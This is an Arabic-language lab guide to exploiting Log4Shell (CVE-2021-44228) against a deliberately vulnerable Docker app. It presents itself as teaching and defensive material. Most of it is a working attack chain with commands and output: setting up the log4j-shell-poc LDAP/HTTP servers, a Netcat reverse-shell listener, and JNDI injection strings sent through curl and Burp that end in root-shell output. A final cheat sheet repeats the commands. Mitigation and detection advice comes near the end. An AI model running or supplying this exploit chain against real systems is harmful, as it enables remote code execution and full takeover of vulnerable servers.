استغلال Log4Shell (CVE-2021-44228): مختبر عرض توضيحي حديث ومتكامل

تُعدّ Log4Shell (CVE-2021-44228) واحدة من أكثر ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) تأثيرًا على الإطلاق. وهي تؤثّر على Apache Log4j 2، وهو إطار عمل تسجيل (logging) شائع الاستخدام في Java، وتتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية عبر استغلال استعلامات JNDI في رسائل السجلات.

يوفر هذا الدليل مختبر عرض توضيحي كاملًا وقابلًا لإعادة الإنتاج باستخدام:

• Kali Linux (المهاجم)
• تطبيق Log4j2 ضعيف مُشغَّل عبر Docker
• أداة إثبات المفهوم العامة log4j-shell-poc
• curl وBurp Suite وNetcat

وهو مصمَّم للتدريس والبحث والتدريب والتوعية الدفاعية في بيئات خاضعة للتحكم فقط. يتبع الهيكل والأسلوب نفس روح ملف README الخاص بمختبر «Shellshock» المصاحب.

📌 جدول المحتويات

0. إشعار قانوني وأخلاقي
1. نظرة عامة
2. أهداف التعلّم
3. بنية المختبر
4. المتطلبات الأساسية
5. تثبيت JDK 1.8.0_202 على Kali
6. نشر تطبيق Log4j الضعيف (Docker)
7. تجهيز أداة إثبات المفهوم (PoC) للاستغلال
8. إعداد poc.py لاستخدام JDK 1.8.0_202
9. تشغيل خدمات الاستغلال (LDAP + HTTP + مولّد الحمولة)
10. تشغيل مستمع الصدفة العكسية (Netcat)
11. استغلال Log4Shell عبر curl
12. استغلال Log4Shell عبر Burp Suite (بأسلوب المتصفح)
13. كيف تعمل سلسلة الاستغلال (ملخص تقني)
14. التخفيف والدفاع
15. ورقة غش الأوامر (جميع الأوامر)
16. معرض لقطات الشاشة (اختياري)
17. المراجع
18. الاعتمادات

0. إشعار قانوني وأخلاقي

يجب تنفيذ هذا المختبر فقط في بيئة خاضعة للتحكم حيث لديك إذن صريح (مختبرك الخاص، أو أجهزة افتراضية للفصل الدراسي، وما إلى ذلك).

• لا تهاجم الأنظمة الإنتاجية.
• لا تشغّل هذا ضد مضيفات لا تملكها أو لا تديرها.
• استخدم هذه المادة لأغراض التعليم والبحث والدفاع فقط.

1. نظرة عامة

تُعدّ Log4Shell (CVE-2021-44228) ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Log4j 2.

تنشأ المشكلة لأن إصدارات Log4j2 الضعيفة تفسّر سلاسل نصية يتحكم فيها المهاجم مثل:

${jndi:ldap://ATTACKER_IP:1389/a}

عندما يتم تسجيل هذه السلسلة النصية، يقوم Log4j بـ:

1. إجراء استعلام JNDI (عبر LDAP مثلًا) إلى خادم يتحكم فيه المهاجم.
2. استقبال مرجع إلى فئة Java خبيثة.
3. تنزيل الفئة عبر HTTP وتحميلها في JVM.
4. تنفيذها، مما يوفّر تنفيذًا للتعليمات البرمجية عن بُعد.

في هذا المختبر، ستقوم بـ:

• تشغيل تطبيق ويب Log4j2 ضعيف داخل حاوية Docker.
• تشغيل خادم LDAP وHTTP خبيث على Kali باستخدام log4j-shell-poc.
• تسليم حمولة Log4Shell عبر curl وعبر Burp Suite.
• التقاط صدفة عكسية من الحاوية الضعيفة.

2. أهداف التعلّم

بحلول نهاية هذا المختبر، يجب أن تكون قادرًا على:

1. شرح كيفية عمل Log4Shell على مستوى عالٍ، ولماذا تُعدّ JNDI خطيرة عند إساءة استخدامها.
2. نشر تطبيق Log4j2 ضعيف باستخدام Docker.
3. تثبيت وإعداد JDK 1.8.0_202، المطلوب من أداة إثبات المفهوم (PoC).
4. تشغيل خادم LDAP خبيث وخادم HTTP عبر سكربت إثبات المفهوم.
5. تحفيز الثغرة والحصول على صدفة عكسية.
6. استخدام Burp Suite لحقن الاستغلال في ترويسة HTTP.
7. مناقشة إجراءات التخفيف الواقعية واستراتيجيات الكشف.

3. بنية المختبر

تعمل جميع المكونات فوق بيئة مختبرك الافتراضية الحالية. نفترض في هذا الشرح ما يلي:

• جهاز Kali Linux الافتراضي هو المهاجم.
• تشغّل Kali أيضًا حاوية Docker التي تحتوي التطبيق الضعيف.

الفكرة الأساسية

يقوم المهاجم بحقن:

${jndi:ldap://192.168.1.4:1389/a}

في ترويسة HTTP. يسجّل التطبيق الضعيف ذلك باستخدام Log4j2 ← ينفّذ استعلام JNDI عبر LDAP إلى 192.168.1.4:1389 ← ينزّل فئة خبيثة من http://192.168.1.4:8000 ← ينفّذ الفئة، التي تفتح صدفة عكسية إلى 192.168.1.4:9001.

4. المتطلبات الأساسية

على Kali ستحتاج إلى:

• Docker (مثبّت ويعمل).
• Python 3 (الافتراضي على Kali).
• Netcat (nc).
• Burp Suite (النسخة المجتمعية كافية).
• وصول إلى الإنترنت لعمليات التنزيل الأولية.
• إلمام أساسي بـ Linux وHTTP.

في جميع أنحاء هذا الدليل، نفترض أن عنوان IP الخاص بـ Kali هو:

192.168.1.4

إذا كان عنوان IP لديك مختلفًا، عدّل جميع الأوامر وفقًا لذلك.

5. تثبيت JDK 1.8.0_202 على Kali (إلزامي)

تعتمد أداة إثبات المفهوم على Java SE 8 Update 202 (JDK 1.8.0_202) لأن إصدارات Java الأحدث تقيّد سلوك التحميل البعيد للفئات الذي يستخدمه هذا الاستغلال.

حتى إذا كان Kali يحتوي بالفعل على OpenJDK 21 (أو ما شابه)، فلا يزال يتعين عليك تثبيت 8u202 بشكل منفصل.

5.1 إنشاء دليل عمل

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 تنزيل JDK 8u202 من مرآة HuaweiCloud

جذر المرآة:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

نزّل الحزمة المضغوطة Linux x64 (بحجم ≈185 ميغابايت):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # should be ~185M

5.3 فك الضغط إلى /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

يزيل خيار --strip-components=1 الدليل العلوي من الأرشيف بحيث تستقر الملفات مباشرةً تحت /usr/bin/jdk1.8.0_202.

5.4 التحقق من التثبيت

/usr/bin/jdk1.8.0_202/bin/java -version

المخرجات المتوقعة:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

إذا رأيت هذا، فـقد تم تثبيت JDK 1.8.0_202 بشكل صحيح.

6. نشر تطبيق Log4j الضعيف (Docker على Kali)

في نافذة طرفية جديدة على Kali (يمكنك البقاء في ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

يجب أن ترى سجلات مشابهة لما يلي:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• أصبح التطبيق الآن قابلًا للوصول على http://127.0.0.1:8080/ من Kali.
• اترك هذه النافذة الطرفية تعمل. هذا هو هدفك.

فحص سريع للتأكد:

curl http://127.0.0.1:8080/

قد ترى صفحة خطأ Whitelabel (HTTP 400). لا بأس في ذلك — كل ما نحتاجه هو أن يكون التطبيق قيد التشغيل ويسجّل الطلبات.

7. تجهيز أداة إثبات المفهوم (PoC) للاستغلال على Kali

7.1 استنساخ log4j-shell-poc

في نافذة طرفية جديدة:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

تأكد من الملفات:

ls
# poc.py, target/, README, etc. Exploit.java will be generated later.

8. إعداد poc.py لاستخدام JDK 1.8.0_202

افتراضيًا، يتوقع poc.py العثور على JDK محلي في دليل باسم jdk1.8.0_20 داخل المستودع. بدلًا من ذلك، قمت بتثبيت JDK 8u202 في /usr/bin/jdk1.8.0_202، لذا يجب عليك تحديث السكربت.

8.1 افتح poc.py في محرر نصوص

nano poc.py

8.2 حدد أسطر مسار Java الأصلية

ابحث عن jdk1.8.0_20 (في nano: Ctrl+W، اكتب jdk1.8.0_20، ثم اضغط Enter).

يجب أن تجد ثلاثة مواضع مثل:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 استبدالها بمسارات مطلقة إلى JDK 8u202

استبدلها بما يلي:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

احفظ ثم اخرج:

• Ctrl + O → Enter
• Ctrl + X

أصبحت أداة إثبات المفهوم تستخدم الآن JDK 1.8.0_202 من /usr/bin.

9. تشغيل خدمات الاستغلال (LDAP + HTTP + مولّد الحمولة)

من ~/Log4Shell/log4j-shell-poc:

9.1 تشغيل سكربت إثبات المفهوم

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

الوسائط:

• --userip — عنوان IP الخاص بـ Kali (المهاجم): مثل 192.168.1.4.
• --webport — منفذ خادم HTTP المدمج: 8000.
• --lport — المنفذ الذي تتصل به الحمولة عائدةً إليه: 9001.

إذا تم إعداد كل شيء بشكل صحيح، يجب أن ترى شيئًا مثل:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

مهم:

• خادم LDAP يستمع على المنفذ 1389.

• خادم HTTP يستمع على المنفذ 8000.

• يتم طباعة الحمولة الدقيقة المطلوب حقنها:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

اترك هذه النافذة الطرفية تعمل.

10. تشغيل مستمع الصدفة العكسية (Netcat)

افتح نافذة طرفية جديدة أخرى على Kali:

nc -nvlp 9001

يجب أن ترى:

listening on [any] 9001 ...

سيستقبل هذا المستمع الصدفة العكسية القادمة من التطبيق الضعيف.

في هذه المرحلة يجب أن يكون لديك:

1. حاوية Docker تعمل بالتطبيق الضعيف (المنفذ 8080).
2. poc.py يشغّل LDAP (1389) وHTTP (8000).
3. Netcat يستمع على 9001.

11. استغلال Log4Shell عبر curl

أولًا، أثبت أن الاستغلال يعمل باستخدام طلب HTTP خام.

في نافذة طرفية جديدة (أو أعد استخدام واحدة إذا كانت متاحة):

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

ما الذي يحدث:

1. يستقبل التطبيق الضعيف الطلب ويسجّل ترويسة X-Api-Version.
2. يرى Log4j2 السلسلة ${jndi:ldap://192.168.1.4:1389/a} وينفّذ استعلام JNDI عبر LDAP.
3. يستجيب خادم LDAP الخاص بك (داخل poc.py) بمرجع إلى فئة Java خبيثة مستضافة على خادم HTTP الخاص بك.
4. ينزّل التطبيق الفئة عبر HTTP وينفّذها.
5. تتصل الفئة مرة أخرى بـ 192.168.1.4:9001 وتُطلق صدفة.

في حال نجاح ذلك، ستُظهر نافذة Netcat الطرفية:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

أصبح لديك الآن صدفة بصلاحيات الجذر داخل حاوية Docker.

جرّب:

id
hostname
ls /

اخرج باستخدام:

exit

سيعود Netcat إلى وضع الاستماع.

12. استغلال Log4Shell عبر Burp Suite (بأسلوب المتصفح)

الآن وضّح مسار الاستغلال نفسه باستخدام متصفح تتوسطه Burp Suite.

12.1 إعداد Firefox لاستخدام Burp كوكيل

1. شغّل Burp Suite على Kali.
2. في Burp، تأكد من أن مستمع الوكيل (Proxy listener) يعمل على 127.0.0.1:8080.
3. في Firefox:
   • الإعدادات ثم إعدادات الشبكة ثم إعداد الوكيل اليدوي.
   • وكيل HTTP: 127.0.0.1، المنفذ: 8080.
   • حدّد خيار "استخدام هذا الوكيل لـ HTTPS أيضًا".
   • تأكد من عدم وجود استثناءات لـ 127.0.0.1.

12.2 التقاط طلب أولي

1. في Burp: Proxy → Intercept، تأكد من أن الاعتراض (Intercept) مفعّل.

2. في Firefox، تصفّح إلى:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. سيعرض Burp الطلب المعترض، مثل:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 إرسال الطلب إلى Repeater

1. في تبويب Proxy → Intercept، انقر بزر الماوس الأيمن على الطلب.
2. اختر Send to Repeater.
3. انتقل إلى تبويب Repeater.

12.4 حقن حمولة Log4Shell في ترويسة HTTP

في Repeater، عدّل الطلب ليشمل ترويسة X-Api-Version:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

ملاحظات:

• استبدل 192.168.1.4 بعنوان IP الفعلي الخاص بـ Kali إذا كان مختلفًا.
• لا تقم بترميز URL للأحرف ${} — يجب أن تظهر تمامًا كما هو موضح.
• Connection: close يبسّط الأمور (اختياري).

12.5 إرسال الطلب الخبيث

1. تأكد من أن poc.py ومستمع Netcat ما زالا يعملان.
2. انقر Send في Burp Repeater.

قد ترى مرة أخرى صفحة خطأ Whitelabel برمز 400 — لا بأس في ذلك.

افحص نافذة Netcat الطرفية:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

لقد حصلت مرة أخرى على صدفة بصلاحيات الجذر على الحاوية، وهذه المرة باستخدام طلب HTTP معدّل عبر Burp، وهو ما يحاكي سير عمل واقعيًا لاستغلال الويب.

13. كيف تعمل سلسلة الاستغلال (ملخص تقني)

1. يصوغ المهاجم حمولة JNDI:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. يسجّل التطبيق الضعيف هذه السلسلة النصية باستخدام Log4j2.

3. يفسّر Log4j2 السلسلة ${jndi:...} وينفّذ استعلام JNDI.

4. يستخدم الاستعلام LDAP للاتصال بخادم LDAP الخاص بالمهاجم على 192.168.1.4:1389.

5. يستجيب خادم LDAP (marshalsec) بمرجع javaNamingReference يشير إلى فئة يتحكم فيها المهاجم مستضافة عبر HTTP، مثل:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. يقوم JVM الخاص بالضحية بتنزيل هذه الفئة وتحميلها.

7. يفتح مُنشئ (constructor) الفئة مقبسًا (socket) عائدًا إلى 192.168.1.4:9001 ويربط /bin/sh به.

8. يستقبل مستمع Netcat الخاص بالمهاجم الاتصال الوارد ويحصل على صدفة جذر عن بُعد داخل الحاوية.

14. التخفيف والدفاع

في البيئات الحقيقية، يجب تطبيق طبقات دفاعية متعددة.

14.1 ترقية Log4j2

• قم بالترقية إلى 2.17.1 أو أحدث (أو الإصدار الآمن الموصى به من المورّد).
• تعطّل هذه الإصدارات استعلامات JNDI أو تقيّدها بشدة افتراضيًا.

14.2 تعطيل استعلامات JNDI / استعلامات الرسائل

بالنسبة للبيئات التي لا تزال ضعيفة، أضف:

-Dlog4j2.formatMsgNoLookups=true

(حيثما ينطبق ذلك — لاحظ أنه لا يتم إصلاح جميع الإعدادات الضعيفة بهذا الخيار وحده.)

14.3 إزالة JndiLookup من ملفات log4j-core JAR

باعتباره إجراءً دفاعيًا متعمقًا:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 تشديد وصول الشبكة الصادر

• قيّد اتصالات LDAP وRMI وHTTP العشوائية الصادرة من خوادم التطبيقات.
• يمكن لتصفية الحركة الصادرة (egress filtering) وسياسات جدار الحماية الصارمة منع الخوادم من الوصول إلى البنية التحتية التي يتحكم فيها المهاجم.

14.5 الكشف والمراقبة

• ابحث في السجلات عن أنماط مشبوهة مثل ${jndi: أو ${${lower:j}${upper:ndi}:.
• راقب اتصالات LDAP/RMI الصادرة غير المعتادة من الخوادم.
• انشر قواعد IDS/IPS/SIEM لمؤشرات Log4Shell وحركة مرور إثبات المفهوم (PoC).

15. ورقة غش الأوامر

نظرة عامة مختصرة على الأوامر المستخدمة في هذا المختبر.

15.1 دليل العمل

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 تنزيل JDK 8u202 (بحجم ≈185 ميغابايت)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 تثبيت JDK 1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 تشغيل تطبيق Docker الضعيف

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 استنساخ مستودع إثبات المفهوم

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 تحديث مسارات Java في poc.py (ملخّص)

استبدل:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # two uses

بما يلي:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 تشغيل إثبات المفهوم (LDAP + HTTP + الحمولة)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 مستمع الصدفة العكسية Netcat

nc -nvlp 9001

15.9 الاستغلال عبر curl

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 سلسلة الحمولة للترويسات

${jndi:ldap://192.168.1.4:1389/a}

15.11 ترويسة Burp Repeater

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. معرض لقطات الشاشة

17. المراجع

• إثبات المفهوم الأصلي: kozmer/log4j-shell-poc
• التطبيق التجريبي الضعيف: christophetd/log4shell-vulnerable-app
• الثغرات الأمنية في Apache Log4j: https://logging.apache.org/log4j/2.x/security.html
• إدخال NIST NVD لـ CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. الاعتمادات